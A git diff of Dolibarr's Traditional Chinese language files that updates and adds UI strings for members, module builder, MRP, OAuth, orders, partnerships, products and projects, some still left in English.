ErrorMemberIsAlreadyLinkedToThisThirdParty=另一名會員(名稱:%s ErrorUserPermissionAllowsToLinksToItselfOnly=出於安全原因,必須授予您編輯所有用戶的權限,以便能夠將會員連結到其他用戶。 SetLinkToUser=連結Dolibarr用戶 SetLinkToThirdParty=連接到Dolibarr合作方 +MemberCountersArePublic=Counters of valid members are public MembersCards=產生會員卡 MembersList=會員清單 MembersListToValid=草案會員清單(待確認) @@ -34,9 +35,10 @@ DateSubscription=入會日期 DateEndSubscription=會員終止日 EndSubscription=終止會員 SubscriptionId=捐款編號 -WithoutSubscription=沒有捐款 -MemberId=Member Id -MemberRef=Member Ref +WithoutSubscription=無會員 +WaitingSubscription=等待會員資格 +MemberId=會員ID +MemberRef=會員編號 NewMember=新會員 MemberType=會員類型 MemberTypeId=會員類型編號 @@ -52,7 +54,7 @@ MemberStatusPaid=訂閱為最新 MemberStatusPaidShort=最新 MemberStatusExcluded=未包含的會員 MemberStatusExcludedShort=未包含 -MemberStatusResiliated=已終止成員 +MemberStatusResiliated=已終止會員 MemberStatusResiliatedShort=已終止 MembersStatusToValid=草案會員 MembersStatusExcluded=未包含的會員 @@ -72,6 +74,12 @@ MemberTypeCanNotBeDeleted=會員類型無法刪除 NewSubscription=新捐款 NewSubscriptionDesc=此表單使您可以作為財團的新會員來記錄訂閱。如果要續訂(如果已經是會員),請通過電子郵件%s與基金會聯繫。 Subscription=捐款 +AnyAmountWithAdvisedAmount=Any amount of your choice, recommended %s +AnyAmountWithoutAdvisedAmount=Any amount of your choice +CanEditAmountShort=任意金額 +CanEditAmountShortForValues=推薦,任意金額 +MembershipDuration=期間 +GetMembershipButtonLabel=加入 Subscriptions=捐款 SubscriptionLate=晚 SubscriptionNotReceived=從未收到捐款 @@ -114,7 +122,7 @@ String=字串 Text=文字 Int=整數 DateAndTime=日期和時間 -PublicMemberCard=成員公共卡 +PublicMemberCard=會員公共卡 SubscriptionNotRecorded=捐款未記錄 AddSubscription=建立捐款 ShowSubscription=顯示捐款 @@ -136,7 +144,7 @@ CardContent=您的會員卡內容 # Text of email templates ThisIsContentOfYourMembershipRequestWasReceived=我們想通知您,您的會員要求已收到。

      ThisIsContentOfYourMembershipWasValidated=謹在此通知您,您的會員資格已通過以下資訊驗證:

      -ThisIsContentOfYourSubscriptionWasRecorded=我們想通知您,您的新訂閱已記錄。

      +ThisIsContentOfYourSubscriptionWasRecorded=We want to let you know that your new subscription was recorded. Please find your invoice here enclosed.

      ThisIsContentOfSubscriptionReminderEmail=我們想告訴您您的訂閱即將到期或已經到期(__MEMBER_LAST_SUBSCRIPTION_DATE_END__)。希望您能繼續訂閱。

      ThisIsContentOfYourCard=這是我們有關您的資訊摘要。如果有任何錯誤,請與我們聯繫。

      DescADHERENT_AUTOREGISTER_NOTIF_MAIL_SUBJECT=訪客自動註冊時收到的通知電子郵件主題 @@ -198,9 +206,12 @@ SubscriptionsStatistics=捐款統計 NbOfSubscriptions=捐款數量 AmountOfSubscriptions=從捐款中收取的金額 TurnoverOrBudget=營業額(對於公司)或預算(對於財團) -DefaultAmount=捐款預設金額 -CanEditAmount=訪客可以選擇/編輯其捐款金額 -MEMBER_NEWFORM_PAYONLINE=跳至綜合線上支付頁面 +DefaultAmount=Default amount of contribution (used only if no amount is defined at member type level) +MinimumAmount=Minimum amount (used only when contribution amount is free) +CanEditAmount=免費訂閱 +CanEditAmountDetail=Visitor can choose/edit amount of its contribution regardless of the member type +AmountIsLowerToMinimumNotice=sur un dû total de %s +MEMBER_NEWFORM_PAYONLINE=線上註冊後,自動跳轉至線上付款頁面 ByProperties=依照性質 MembersStatisticsByProperties=會員性質統計 VATToUseForSubscriptions=用於捐款的稅率 @@ -219,5 +230,6 @@ XExternalUserCreated=已建立%s位外部用戶 ForceMemberNature=強制會員性質(個人或公司) CreateDolibarrLoginDesc=為會員建立用戶登錄允許他們連接到應用程式。例如,根據授予的授權,他們將能夠自己查閱或修改他們的檔案。 CreateDolibarrThirdPartyDesc=如果您決定為每筆捐款產生發票,合作方就是將使用在發票上的實體法人。您稍後可以在記錄捐款的過程中建立它。 -MemberFirstname=Member firstname -MemberLastname=Member lastname +MemberFirstname=會員名字 +MemberLastname=會員姓氏 +MemberCodeDesc=Member Code, unique for all members diff --git a/htdocs/langs/zh_TW/modulebuilder.lang b/htdocs/langs/zh_TW/modulebuilder.lang index d6a0cbbf963..2518a51db01 100644 --- a/htdocs/langs/zh_TW/modulebuilder.lang +++ b/htdocs/langs/zh_TW/modulebuilder.lang @@ -1,7 +1,8 @@ # Dolibarr language file - Source file is en_US - loan +IdModule= Module id ModuleBuilderDesc=此工具只能由有經驗的用戶或開發人員使用。它提供了構建或編輯您自己的模組的實用程序。替代 手動開發的文件在此處 。 EnterNameOfModuleDesc=Enter the name of the module/application to create with no spaces. Use uppercase to separate words (For example: MyModule, EcommerceForShop, SyncWithMySystem...) -EnterNameOfObjectDesc=Enter the name of the object to create with no spaces. Use uppercase to separate words (For example: MyObject, Student, Teacher...). The CRUD class file, but also API file, pages to list/add/edit/delete object and SQL files will be generated. +EnterNameOfObjectDesc=Enter the name of the object to create with no spaces. Use uppercase to separate words (For example: MyObject, Student, Teacher...). The CRUD class file, the pages to list/add/edit/delete the object and the SQL files will be generated. EnterNameOfDictionaryDesc=Enter the name of the dictionary to create with no spaces. Use uppercase to separate words (For example: MyDico...). The class file, but also the SQL file will be generated. ModuleBuilderDesc2=已生成/已編輯 模組的路徑(外部模組的首個目錄定義為%s): %s ModuleBuilderDesc3=已找到 生成的/可編輯的模組: %s @@ -9,6 +10,7 @@ ModuleBuilderDesc4=當模組目錄的根目錄中存在檔案 %s %s 嗎?這將更改 PHP 類別中的代碼,但也會從物件表格定義中刪除列。 NotNull=非空白 NotNullDesc=1=Set database to NOT NULL, 0=Allow null values, -1=Allow null values by forcing value to NULL if empty ('' or 0) @@ -81,15 +86,16 @@ IsAMeasure=是一個量測 DirScanned=資料夾已掃描 NoTrigger=沒有觸發器 NoWidget=沒有小工具 -GoToApiExplorer=API 瀏覽器 +ApiExplorer=API 瀏覽器 ListOfMenusEntries=選單條目清單 ListOfDictionariesEntries=分類條目清單 ListOfPermissionsDefined=已定義權限清單 SeeExamples=在這裡查看範例 -EnabledDesc=啟用此欄位的條件(範例:1 或 $conf->global->MYMODULE_MYOPTION) -VisibleDesc=欄位是否顯示? (範例:0=隱藏,1=在清單與建立/更新/查看表單上顯示,2=僅在清單上顯示,3=僅在建立/更新/查看表單上顯示(非清單),4=只在清單與更新/查看表單(非建立)顯示,5=僅在清單結尾視圖表單上顯示(非建立,非更新)。

      使用負值表示預設情況下清單中不顯示欄位,但可以選擇查看)。

      可以是表達式,例如:
      preg_match('/public/', $_SERVER['PHP_SELF'])?0:1
      ($user->rights->holiday->define_holiday ? 1 : 0) -DisplayOnPdfDesc=在相容的 PDF 文件上顯示此欄位,您可以使用“位置”欄位管理位置。
      目前,已知的相容PDF模型是:eratosthene(訂單),espadon(發貨),sponge(發票),cyan(建議書 /報價),cornas(供應商訂單)

      對於文件:
      0 =不顯示
      1 =顯示
      2 =如果不為空則顯示

      對於文件行:
      0 =不顯示
      1 =在欄位顯示
      3 = 顯示在描述之後的欄位
      4 = 如果不為空則顯示在描述之後的描述欄位 -DisplayOnPdf=以PDF顯示 +EnabledDesc=Condition to have this field active.

      Examples:
      1
      isModEnabled('MAIN_MODULE_MYMODULE')
      getDolGlobalString('MYMODULE_OPTION')==2 +VisibleDesc=Is the field visible ? (Examples: 0=Never visible, 1=Visible on list and create/update/view forms, 2=Visible on list only, 3=Visible on create/update/view form only (not list), 4=Visible on list and update/view form only (not create), 5=Visible on list end view form only (not create, not update).

      Using a negative value means field is not shown by default on list but can be selected for viewing). +ItCanBeAnExpression=It can be an expression. Example:
      preg_match('/public/', $_SERVER['PHP_SELF'])?0:1
      $user->hasRight('holiday', 'define_holiday')?1:5 +DisplayOnPdfDesc=Display this field on compatible PDF documents, you can manage position with "Position" field.
      For document :
      0 = not displayed
      1 = display
      2 = display only if not empty

      For document lines :
      0 = not displayed
      1 = displayed in a column
      3 = display in line description column after the description
      4 = display in description column after the description only if not empty +DisplayOnPdf=On PDF IsAMeasureDesc=可以將可累積欄位的值以總和放入清單中嗎? (例如:1 或 0) SearchAllDesc=欄位是否用於快速搜尋工具進行搜尋? (範例:1 或 0) SpecDefDesc=在此處輸入您想與模組一起提供的所有尚未由其他分頁卡定義的文件。您可以使用 .md 或更好的豐富的 .asciidoc 語法。 @@ -130,26 +136,32 @@ UseSpecificEditorURL = 使用特定的編輯器網址 UseSpecificFamily = 使用特定的家族 UseSpecificAuthor = 使用特定作者 UseSpecificVersion = 使用特定的初始版本 -IncludeRefGeneration=The reference of object must be generated automatically by custom numbering rules +IncludeRefGeneration=The reference of this object must be generated automatically by custom numbering rules IncludeRefGenerationHelp=Check this if you want to include code to manage the generation of the reference automatically using custom numbering rules -IncludeDocGeneration=I want to generate some documents from templates for the object +IncludeDocGeneration=I want the feature to generate some documents (PDF, ODT) from templates for this object IncludeDocGenerationHelp=如果選中此選項,將產生一些代碼以在記錄上增加“產生文件”框。 -ShowOnCombobox=在組合框中顯示數值 +ShowOnCombobox=Show value into combo boxes KeyForTooltip=工具提示金鑰 CSSClass=編輯/建立表單的 CSS CSSViewClass=讀取表單的 CSS CSSListClass=清單的 CSS NotEditable=無法編輯 ForeignKey=外部金鑰 -TypeOfFieldsHelp=Type of fields:
      varchar(99), double(24,8), real, text, html, datetime, timestamp, integer, integer:ClassName:relativepath/to/classfile.class.php[:1[:filter]]
      '1' means we add a + button after the combo to create the record
      'filter' is a sql condition, example: 'status=1 AND fk_user=__USER_ID__ AND entity IN (__SHARED_ENTITIES__)' +ForeignKeyDesc=If the value of this field must be guaranted to exists into another table. Enter here a value matching syntax: tablename.parentfieldtocheck +TypeOfFieldsHelp=Example:
      varchar(99), double(24,8), real, text, html, datetime, timestamp, integer, integer:ClassName:relativepath/to/classfile.class.php[:1[:filter]]
      '1' means we add a + button after the combo to create the record
      'filter' is a sql condition, example: 'status=1 AND fk_user=__USER_ID__ AND entity IN (__SHARED_ENTITIES__)' +TypeOfFieldsHelpIntro=This is the type of the field/attribute. AsciiToHtmlConverter=ASCII到HTML轉換器 AsciiToPdfConverter=ASCII到PDF轉換器 TableNotEmptyDropCanceled=表不為空。刪除已被取消。 ModuleBuilderNotAllowed=模組建構器可使用,但不允許您的用戶使用。 ImportExportProfiles=匯入和匯出設定檔 -ValidateModBuilderDesc=Set this to 1 if you want to have the method $this->validateField() of object being called to validate the content of the field during insert or upadate. Set 0 if there is no validation required. +ValidateModBuilderDesc=Set this to 1 if you want to have the method $this->validateField() of object being called to validate the content of the field during insert or update. Set 0 if there is no validation required. WarningDatabaseIsNotUpdated=Warning: The database is not updated automatically, you must destroy tables and disable-enable the module to have tables recreated LinkToParentMenu=Parent menu (fk_xxxxmenu) ListOfTabsEntries=List of tab entries TabsDefDesc=Define here the tabs provided by your module TabsDefDescTooltip=The tabs provided by your module/application are defined into the array $this->tabs into the module descriptor file. You can edit manually this file or use the embedded editor. +BadValueForType=Bad value for type %s +DefinePropertiesFromExistingTable=Define properties from an existing table +DefinePropertiesFromExistingTableDesc=If a table in the database (for the object to create) already exists, you can use it to define the properties of the object. +DefinePropertiesFromExistingTableDesc2=Keep empty if the table does not exist yet. The code generator will use different kinds of fields to build an example of table that you can edit later. diff --git a/htdocs/langs/zh_TW/mrp.lang b/htdocs/langs/zh_TW/mrp.lang index ee445a17cbf..de709b6fae3 100644 --- a/htdocs/langs/zh_TW/mrp.lang +++ b/htdocs/langs/zh_TW/mrp.lang @@ -12,7 +12,7 @@ BillOfMaterials=物料清單 BillOfMaterialsLines=物料清單行 BOMsSetup=物料清單模組設定 ListOfBOMs=物料清單-BOM -ListOfManufacturingOrders=製造訂單清單 +ListOfManufacturingOrders=製造訂單 NewBOM=新物料清單 ProductBOMHelp=使用此物料清單建立(或拆解)產品。
      注記:具有"產品屬性"的產品="原料"不會顯示於此清單 BOMsNumberingModules=物料清單編號範本 @@ -27,6 +27,7 @@ ConfirmCloneBillOfMaterials=您確定要複製物料清單%s嗎? ConfirmCloneMo=您確定要複製製造訂單%s嗎? ManufacturingEfficiency=製造效率 ConsumptionEfficiency=消費效率 +Consumption=消耗 ValueOfMeansLoss=數值 0.95 表示在製造或拆解過程中平均損失 5%% ValueOfMeansLossForProductProduced=值0.95表示損失平均5%%的生產產品 DeleteBillOfMaterials=刪除物料清單 @@ -82,6 +83,7 @@ ProductsToProduce=生產的產品 UnitCost=單位成本 TotalCost=總計花費 BOMTotalCost=根據每個要消耗的數量和產品的成本產生此BOM的成本(如果定義則使用“成本價”,如果定義則使用“平均加權價格”,否則使用“最佳採購價”) +BOMTotalCostService=If the "Workstation" module is activated and a workstation is defined by default on the line, then the calculation is "quantity (converted into hours) x workstation ahr", otherwise "quantity (converted into hours) x cost price of the service" GoOnTabProductionToProduceFirst=您必須先開始生產才能關閉生產訂單(請參見分頁“ %s”)。但是您可以取消它。 ErrorAVirtualProductCantBeUsedIntoABomOrMo=套件不能用於物料清單或製造訂單 Workstation=工作站 @@ -109,6 +111,10 @@ THMEstimatedHelp=此費率使得可以定義物料的預估成本 BOM=材料清單 CollapseBOMHelp=您可以在 BOM 模組的設定中定義命名法詳細資訊的預設顯示 MOAndLines=製造訂單和生產線 -MoChildGenerate=Generate Child Mo -ParentMo=MO Parent -MOChild=MO Child +MoChildGenerate=產生子物料清單 +ParentMo=母物料清單 +MOChild=子物料清單 +BomCantAddChildBom=命名法 %s 已經存在於命名法 %s 的樹中 +BOMNetNeeds = 物料清單淨需求 +BOMProductsList=物料清單的產品 +BOMServicesList=物料清單的服務 diff --git a/htdocs/langs/zh_TW/oauth.lang b/htdocs/langs/zh_TW/oauth.lang index 74ed38d805e..b39ed646eaf 100644 --- a/htdocs/langs/zh_TW/oauth.lang +++ b/htdocs/langs/zh_TW/oauth.lang @@ -9,13 +9,14 @@ HasAccessToken=已產生許可證並儲存到本地資料庫中 NewTokenStored=已收到並已儲存許可證 ToCheckDeleteTokenOnProvider=點擊此處以檢查/刪除由%s OAuth供應商儲存的授權 TokenDeleted=許可證已刪除 -RequestAccess=Click here to request/renew access and receive a new token +GetAccess=點擊此處獲取許可證 +RequestAccess=點擊此處請求/更新訪問權限並接收新許可證 DeleteAccess=點擊此處刪除許可證 UseTheFollowingUrlAsRedirectURI=使用您的OAuth供應商建立憑證時,請使用以下網址作為重新轉向URI: -ListOfSupportedOauthProviders=Add your OAuth2 token providers. Then, go on your OAuth provider admin page to create/get an OAuth ID and Secret and save them here. Once done, switch on the other tab to generate your token. -OAuthSetupForLogin=Page to manage (generate/delete) OAuth tokens +ListOfSupportedOauthProviders=新增您的 OAuth2許可證供應商。然後,在您的 OAuth 供應商管理頁面上建立/獲取 OAuth ID 和憑證並將它們保存在此處。完成後,切換到另一個分頁以產生您的許可證。 +OAuthSetupForLogin=管理(產生/刪除)OAuth許可證的頁面 SeePreviousTab=查看上一個分頁 -OAuthProvider=OAuth provider +OAuthProvider=OAuth 提供者 OAuthIDSecret=OAuth ID和Secret TOKEN_REFRESH=更新目前的許可證 TOKEN_EXPIRED=許可證已過期 @@ -27,10 +28,14 @@ OAUTH_GOOGLE_SECRET=OAuth Google Secret OAUTH_GITHUB_NAME=OAuth GitHub服務 OAUTH_GITHUB_ID=OAuth GitHub Id OAUTH_GITHUB_SECRET=OAuth GitHub Secret -OAUTH_URL_FOR_CREDENTIAL=Go to this page to create or get your OAuth ID and Secret +OAUTH_URL_FOR_CREDENTIAL=前往 此頁面 建立或獲取您的 OAuth ID 與憑證 OAUTH_STRIPE_TEST_NAME=OAuth Stripe測試 OAUTH_STRIPE_LIVE_NAME=OAuth Stripe Live -OAUTH_ID=OAuth ID -OAUTH_SECRET=OAuth secret -OAuthProviderAdded=OAuth provider added -AOAuthEntryForThisProviderAndLabelAlreadyHasAKey=An OAuth entry for this provider and label already exists +OAUTH_ID=OAuth 客戶端 ID +OAUTH_SECRET=OAuth憑證 +OAUTH_TENANT=OAuth 用戶 +OAuthProviderAdded=已加入 OAuth提供者 +AOAuthEntryForThisProviderAndLabelAlreadyHasAKey=此提供商和標籤的 OAuth 條目已存在 +URLOfServiceForAuthorization=OAuth 服務驗證網址 +Scopes=權限(範圍) +ScopeUndefined=權限(範圍)未定義(參見上一個分頁) diff --git a/htdocs/langs/zh_TW/orders.lang b/htdocs/langs/zh_TW/orders.lang index 09325b9dd00..5ebbbb2f116 100644 --- a/htdocs/langs/zh_TW/orders.lang +++ b/htdocs/langs/zh_TW/orders.lang @@ -1,4 +1,5 @@ # Dolibarr language file - Source file is en_US - orders +OrderExists=與此提案/建議書相關聯的訂單已打開,因此不會自動建立其他訂單 OrdersArea=客戶訂單區 SuppliersOrdersArea=採購訂單區 OrderCard=訂單資訊 @@ -74,7 +75,7 @@ ValidateOrder=驗證訂單 UnvalidateOrder=未驗證訂單 DeleteOrder=刪除訂單 CancelOrder=取消訂單 -OrderReopened= 訂單%s重新打開 +OrderReopened= 訂單%s重新啟用 AddOrder=建立訂單 AddSupplierOrderShort=建立訂單 AddPurchaseOrder=建立採購訂單 @@ -95,6 +96,10 @@ OrdersStatisticsSuppliers=採購訂單統計 NumberOfOrdersByMonth=每月訂單數 AmountOfOrdersByMonthHT=每月訂單金額(不含稅) ListOfOrders=訂單列表 +ListOrderLigne=Lines of orders +productobuy=Products to buy only +productonly=Products only +disablelinefree=No lines free CloseOrder=關閉命令 ConfirmCloseOrder=您確定要將此訂單設為已出貨嗎?若訂單已出貨,可以將其設為開票。 ConfirmDeleteOrder=您確定要刪除此訂單嗎? @@ -117,7 +122,7 @@ SendOrderByMail=通過郵件發送訂單 ActionsOnOrder=訂單事件 NoArticleOfTypeProduct=沒有“產品”類型的商品,因此該訂單沒有可運送的商品 OrderMode=訂購方式 -AuthorRequest=發起者 +AuthorRequest=需求人員 UserWithApproveOrderGrant=被授予核准權限的用戶 PaymentOrderRef=%s付款訂單 ConfirmCloneOrder=您確定要複製此%s訂單嗎? @@ -130,6 +135,7 @@ SupplierOrderClassifiedBilled=採購訂單%s設置為已開票 OtherOrders=其他訂單 SupplierOrderValidatedAndApproved=供應商訂單已驗證並且已批准:%s SupplierOrderValidated=供應商訂單已驗證:%s +OrderShowDetail=Show order detail ##### Types de contacts ##### TypeContact_commande_internal_SALESREPFOLL=銷售訂單追蹤 TypeContact_commande_internal_SHIPPING=貨運追蹤 @@ -198,3 +204,5 @@ StatusSupplierOrderApproved=核准 StatusSupplierOrderRefused=已拒絕 StatusSupplierOrderReceivedPartially=部分收到 StatusSupplierOrderReceivedAll=收到所有產品 +NeedAtLeastOneInvoice = There has to be at least one Invoice +LineAlreadyDispatched = The order line is already received. diff --git a/htdocs/langs/zh_TW/other.lang b/htdocs/langs/zh_TW/other.lang index d474dcb2a45..331397c909c 100644 --- a/htdocs/langs/zh_TW/other.lang +++ b/htdocs/langs/zh_TW/other.lang @@ -46,7 +46,9 @@ Notify_ORDER_SUPPLIER_APPROVE=採購訂單已批准 Notify_ORDER_SUPPLIER_REFUSE=採購訂單已拒絕 Notify_PROPAL_VALIDATE=客戶提案/建議書已驗證 Notify_PROPAL_CLOSE_SIGNED=客戶提案/建議書已關閉已簽署 +Notify_PROPAL_CLOSE_SIGNED_WEB=客戶提案/建議書已由簽署頁面簽名關閉 Notify_PROPAL_CLOSE_REFUSED=客戶提案/建議書已關閉已拒絕 +Notify_PROPAL_CLOSE_REFUSED_WEB=客戶提案/建議書已由簽署頁面拒絕簽名關閉 Notify_PROPAL_SENTBYMAIL=使用郵件寄送的商業提案/建議書 Notify_WITHDRAW_TRANSMIT=傳送提款 Notify_WITHDRAW_CREDIT=信用提款 @@ -110,7 +112,7 @@ ChooseYourDemoProfilMore=...或建立您自己的設定檔案
      (手動選擇 DemoFundation=管理基金會會員 DemoFundation2=管理基金會會員與銀行帳戶 DemoCompanyServiceOnly=公司或自由業者僅能銷售服務 -DemoCompanyShopWithCashDesk=Manage a shop with a cash box +DemoCompanyShopWithCashDesk=使用收銀機管理商店 DemoCompanyProductAndStocks=使用銷售點銷售產品的商店 DemoCompanyManufacturing=公司製造產品 DemoCompanyAll=有多項活動的公司(所有主要模組) @@ -181,6 +183,7 @@ SizeUnitfoot=英呎 SizeUnitpoint=點 BugTracker=臭蟲追蹤系統 SendNewPasswordDesc=此表單允許您要求新的密碼。它將傳送到您的電子郵件。
      點擊電子郵件中的確認連結後,更改將生效。
      檢查您的信箱。 +EnterNewPasswordHere=在此輸入您的新密碼 BackToLoginPage=回到登入頁面 AuthenticationDoesNotAllowSendNewPassword=認證模式為%s.
      在這種模式下,Dolibarr不知道,也不能更改您的密碼。
      如果您想更改您的密碼,請聯絡您的系統管理員。 EnableGDLibraryDesc=在PHP安裝上安裝或啟用GD程式庫以使用此選項。 @@ -210,6 +213,9 @@ EMailTextInvoiceValidated=發票%s已通過驗證。 EMailTextInvoicePayed=發票%s已支付。 EMailTextProposalValidated=提案/建議書%s已通過驗證。 EMailTextProposalClosedSigned=提案/建議書%s已關閉簽名。 +EMailTextProposalClosedSignedWeb=提案/建議書 %s 已由簽署頁面簽名關閉。 +EMailTextProposalClosedRefused=提案/建議書%s 已因拒絕簽名關閉。 +EMailTextProposalClosedRefusedWeb=提案/建議書 %s 已由簽署頁面因拒絕簽名關閉。 EMailTextOrderValidated=訂單%s已通過驗證。 EMailTextOrderApproved=訂單%s已被批准。 EMailTextOrderValidatedBy=訂單%s已被%s記錄。 @@ -311,10 +317,10 @@ ExternalSiteURL=HTML iframe 內容的外部網站網址 ExternalSiteModuleNotComplete=外部網站模組設定不正確。 ExampleMyMenuEntry=我的選單條目 -# FTP +# ftp FTPClientSetup=FTP或SFTP客戶端模組設定 -NewFTPClient=新的FTP / FTPS連線設定 -FTPArea=FTP / FTPS區域 +NewFTPClient=新的FTP / SFTP連線設定 +FTPArea=FTP / SFTP區域 FTPAreaDesc=此畫面顯示FTP和SFTP伺服器的檢視。 SetupOfFTPClientModuleNotComplete=FTP或SFTP的客戶端模組設定似乎不完整 FTPFeatureNotSupportedByYourPHP=您的PHP不支援FTP或SFTP功能 @@ -325,3 +331,9 @@ FTPFailedToRemoveDir=無法刪除資料夾%s :檢查權限,並且確 FTPPassiveMode=被動模式 ChooseAFTPEntryIntoMenu=從選單中選擇一個FTP/SFTP站台... FailedToGetFile=無法獲取檔案 %s +ErrorFTPNodisconnect=斷開 FTP/SFTP 伺服器時出現錯誤 +FileWasUpload=檔案 %s 已上傳 +FTPFailedToUploadFile=檔案 %s 上傳失敗。 +AddFolder=建立資料夾 +FileWasCreateFolder=資料夾 %s 已建立 +FTPFailedToCreateFolder=無法建立資料夾 %s 。 diff --git a/htdocs/langs/zh_TW/partnership.lang b/htdocs/langs/zh_TW/partnership.lang index 08b8202b490..e73fa3287a9 100644 --- a/htdocs/langs/zh_TW/partnership.lang +++ b/htdocs/langs/zh_TW/partnership.lang @@ -20,6 +20,7 @@ ModulePartnershipName=合作夥伴關係管理 PartnershipDescription=合作夥伴管理模組 PartnershipDescriptionLong= 合作夥伴管理模組 Partnership=合夥 +Partnerships=夥伴關係 AddPartnership=增加合作夥伴 CancelPartnershipForExpiredMembers=合作夥伴:取消訂閱過期會員的合作關係 PartnershipCheckBacklink=合作夥伴:檢查參考反向連結 @@ -28,6 +29,7 @@ PartnershipCheckBacklink=合作夥伴:檢查參考反向連結 # Menu # NewPartnership=新合作夥伴 +NewPartnershipbyWeb=Your partnership request has been added successfully. We may contact you soon... ListOfPartnerships=合作夥伴清單 # @@ -42,6 +44,7 @@ PARTNERSHIP_BACKLINKS_TO_CHECK=要檢查的反向連結 PARTNERSHIP_NBDAYS_AFTER_MEMBER_EXPIRATION_BEFORE_CANCEL=訂閱到期後取消合作關係狀態前的 Nb 天 ReferingWebsiteCheck=檢查網站參考 ReferingWebsiteCheckDesc=您可以啟用一項功能來檢查您的合作夥伴是否在他們自己的網站上增加了指向您網站網域的反向連結。 +PublicFormRegistrationPartnerDesc=Dolibarr can provide you a public URL/website to allow external visitors to request to be part of the partnership program. # # Object @@ -60,6 +63,11 @@ ConfirmClosePartnershipAsk=您確定要取消此合作關係嗎? PartnershipType=合作夥伴類型 PartnershipRefApproved=合作夥伴 %s 已核准 KeywordToCheckInWebsite=如果您想檢查給定關鍵字是否出現在每個合作夥伴的網站中,請在此處定義此關鍵字 +PartnershipDraft=草稿 +PartnershipAccepted=已接受 +PartnershipRefused=已拒絕 +PartnershipCanceled=已取消 +PartnershipManagedFor=合作夥伴是 # # Template Mail @@ -83,12 +91,6 @@ CountLastUrlCheckError=上次檢查網址的錯誤數量 LastCheckBacklink=上次檢查網址的日期 ReasonDeclineOrCancel=拒絕原因 -# -# Status -# -PartnershipDraft=草稿 -PartnershipAccepted=已接受 -PartnershipRefused=已拒絕 -PartnershipCanceled=已取消 -PartnershipManagedFor=合作夥伴是 +NewPartnershipRequest=New partnership request +NewPartnershipRequestDesc=This form allows you to request to be part of one of our partnership program. If you need help to fill this form, please contact by email %s. diff --git a/htdocs/langs/zh_TW/productbatch.lang b/htdocs/langs/zh_TW/productbatch.lang index 9297a806ae8..20a49538b15 100644 --- a/htdocs/langs/zh_TW/productbatch.lang +++ b/htdocs/langs/zh_TW/productbatch.lang @@ -1,5 +1,5 @@ # ProductBATCH language file - Source file is en_US - ProductBATCH -ManageLotSerial=使用批次/序號數字 +ManageLotSerial=使用批號/序號 ProductStatusOnBatch=是(需要批號/序號) ProductStatusOnSerial=是(需要唯一的批號/序號) ProductStatusNotOnBatch=不是(不使用批次/序號) @@ -17,6 +17,7 @@ printBatch=批次/序號: %s printEatby=有效日: %s printSellby=銷售日: %s printQty=數量: %d +printPlannedWarehouse=Warehouse: %s AddDispatchBatchLine=增加一行的保存期限 WhenProductBatchModuleOnOptionAreForced=啟用“批次/序列”模塊時,自動減少庫存將強制為“驗證運輸時減少實際庫存”,自動增加模式將強制為“手動增加倉庫實際庫存”,且無法進行編輯。其他選項可以根據需要定義。 ProductDoesNotUseBatchSerial=此產品不能使用批次/序號數字 @@ -43,3 +44,4 @@ HideLots=隱藏批號 OutOfOrder=亂序 InWorkingOrder=在生產訂單中 ToReplace=更換 +CantMoveNonExistantSerial=錯誤。您要求對不再存在序號的記錄進行移動。可能是您在同一個發貨中多次在同一個倉庫使用相同的序號,或者它被另一批發貨使用。移除這批發貨並準備另一批發貨。 diff --git a/htdocs/langs/zh_TW/products.lang b/htdocs/langs/zh_TW/products.lang index c8e3e27eee2..b6e47f5b378 100644 --- a/htdocs/langs/zh_TW/products.lang +++ b/htdocs/langs/zh_TW/products.lang @@ -262,7 +262,7 @@ Quarter1=1st. Quarter Quarter2=2nd. Quarter Quarter3=3rd. Quarter Quarter4=4th. Quarter -BarCodePrintsheet=列印條碼 +BarCodePrintsheet=Print barcodes PageToGenerateBarCodeSheets=使用此工具,您可以列印條碼貼紙。選擇標籤頁面的格式,條碼的類型和條碼的值,然後點擊按鈕%s 。 NumberOfStickers=要在頁面上列印的貼紙數量 PrintsheetForOneBarCode=為一個條碼列印幾張貼紙 @@ -345,7 +345,7 @@ PossibleValues=可能的值 GoOnMenuToCreateVairants=前往選單%s-%s以準備屬性(例如顏色,大小等) UseProductFournDesc=增加一個可以定義產品描述的功能,此由供應商(每一位供應商)為客戶增加描述 ProductSupplierDescription=產品的供應商說明 -UseProductSupplierPackaging=按照供應商價格使用包裝(在供應商文件中增加/更新行時,根據供應商價格上設定的包裝重新計算數量) +UseProductSupplierPackaging=Use packaging for prices rounded to multiples for purchase prices (recalculate quantities according to multiples set on purchase prices when adding/updating line in a vendor documents) PackagingForThisProduct=包裝 PackagingForThisProductDesc=您將自動採購此數量的倍數。 QtyRecalculatedWithPackaging=根據供應商的包裝重新計算了生產線的數量 @@ -399,7 +399,7 @@ ActionAvailableOnVariantProductOnly=僅對產品的變數提供操作 ProductsPricePerCustomer=每個客戶的產品價格 ProductSupplierExtraFields=附加屬性(供應商價格) DeleteLinkedProduct=刪除連結到組合的子產品 -AmountUsedToUpdateWAP=用於更新加權平均價格的金額 +AmountUsedToUpdateWAP=Unit amount to use to update the Weighted Average Price PMPValue=加權平均價格 PMPValueShort=WAP mandatoryperiod=強制期限 @@ -416,6 +416,7 @@ ProductsMergeSuccess=產品已合併 ErrorsProductsMerge=產品合併錯誤 SwitchOnSaleStatus=開啟銷售狀態 SwitchOnPurchaseStatus=開啟採購狀態 +UpdatePrice=Increase/decrease customer price StockMouvementExtraFields= 額外欄位(庫存移動) InventoryExtraFields= 補充屬性(庫存) ScanOrTypeOrCopyPasteYourBarCodes=掃描或填寫或複制/貼上您的條碼 @@ -427,3 +428,4 @@ RealValuation=實際估值 ConfirmEditExtrafield = Select the extrafield you want modify ConfirmEditExtrafieldQuestion = Are you sure you want to modify this extrafield? ModifyValueExtrafields = Modify value of an extrafield +OrProductsWithCategories=Or products with tags/categories diff --git a/htdocs/langs/zh_TW/projects.lang b/htdocs/langs/zh_TW/projects.lang index 904e83da591..1d25ef75aa4 100644 --- a/htdocs/langs/zh_TW/projects.lang +++ b/htdocs/langs/zh_TW/projects.lang @@ -6,7 +6,7 @@ ProjectLabel=專案標籤 ProjectsArea=專案區域 ProjectStatus=專案狀態 SharedProject=每一位 -PrivateProject=Assigned contacts +PrivateProject=專案聯絡人 ProjectsImContactFor=我是聯絡人的專案 AllAllowedProjects=我可以讀取的所有專案(我的+公共項目) AllProjects=所有專案 @@ -17,12 +17,13 @@ ProjectsPublicTaskDesc=此檢視顯示所有您可以讀取之專案與任務。 ProjectsDesc=此檢視顯示全部專案(您的用戶權限授予您檢視所有內容)。 